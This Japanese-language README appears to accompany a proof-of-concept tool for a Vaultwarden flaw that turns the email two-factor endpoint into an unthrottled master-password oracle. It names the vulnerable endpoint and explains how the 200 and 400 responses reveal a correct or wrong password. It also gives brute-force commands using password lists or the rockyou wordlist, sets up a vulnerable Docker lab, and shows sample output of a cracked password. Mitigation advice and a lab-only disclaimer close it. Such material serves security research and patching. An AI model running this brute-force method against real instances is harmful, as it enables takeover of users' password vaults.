
CVE-2026-43914 の PoC: Vaultwarden <1.35.4 のメール2FAブルートフォースバイパスパスワードオラクル。Python標準ライブラリのみ。
CVE-2026-43914 の概念実証(PoC): メール 2FA が有効な場合、Vaultwarden の
ログインに対するブルートフォース保護は、認証不要の
POST /api/two-factor/send-email-login エンドポイントを介して完全にバイパスできます。
このエンドポイントは無制限のマスターパスワードオラクルとして機能します。
影響を受けるバージョン: Vaultwarden < 1.35.4
Vaultwarden は、もっとも人気のあるセルフホスト型 Bitwarden 互換パスワードマネージャーです。 管理者はメール 2FA を有効にすればパスワード推測を防げると考えますが、このエンドポイントは マスターパスワードのハッシュを検証し、正誤に応じて異なる HTTP ステータスを返します。 これはレート制限やアカウントロックアウトが適用される前に発生します:
| レスポンス | 意味 |
|---|---|
200 | パスワード正解(OTP メール送信) |
400 "Username or password is incorrect" | パスワード誤り |
被害者のメールアドレスを知っている(または推測できる)攻撃者は、スロットリングを一切受けずに フルスピードでマスターパスワードをブルートフォースできます。メール 2FA はこれを防ぎません。
src/api/core/two_factor/email.rs 内の send_email_login ハンドラーはパスワードをチェックし、
不一致の場合は早期にエラーを返します。しかし、このルートは /identity/connect/token を保護する
ブルートフォース/レート制限ミドルウェアには登録されていません。各呼び出しでは:
check_valid_password(master_password_hash) を比較し、不一致の場合は
err!("Username or password is incorrect")(HTTP 400)を返し、python3 vw_bf_poc.py --host localhost --port 8222 \
--email [email protected] \
--passwords "summer2024,Qwerty123!,CorrectHorse123!"
# or a wordlist:
python3 vw_bf_poc.py --email [email protected] --wordlist rockyou-top1000.txt
Python 3 標準ライブラリのみで動作します。
# mail catcher
docker run -d --name mailhog -p 11025:1025 -p 18025:8025 mailhog/mailhog
# vulnerable Vaultwarden (< 1.35.4), SMTP -> MailHog
docker run -d --name vw-lab -p 8222:80 --link mailhog \
-e I_REALLY_WANT_VOLATILE_STORAGE=true \
-e SMTP_HOST=mailhog -e SMTP_PORT=1025 -e SMTP_SECURITY=off \
-e [email protected] -e DOMAIN=http://localhost:8222 \
vaultwarden/server:1.35.3
テストユーザーを作成し(任意の Bitwarden クライアントまたは API)、メール 2FA (設定 → 2段階ログイン → メール)を有効にしてから、そのユーザーに対して PoC を実行します。
$ python3 vw_bf_poc.py --email [email protected] --passwords "wrong1,wrong2,CorrectHorse123!"
[*] Target : localhost:8222
[*] Victim : [email protected]
[*] Trying 3 candidate passwords via send-email-login oracle
[0001] 400 - wrong1
[0002] 400 - wrong2
[0003] 200 HIT! CorrectHorse123!
=> PASS: master password FOUND = 'CorrectHorse123!' (1.4s, no rate limit hit)
Vaultwarden 1.35.4+ にアップグレードしてください。それまでは、メール 2FA を無効にして
TOTP/WebAuthn を使用し、/api/two-factor/* に対して IP 単位のレート制限を適用する
リバースプロキシの背後にインスタンスを配置してください。
許可を受けたセキュリティ研究およびラボ環境での使用のみを対象としています。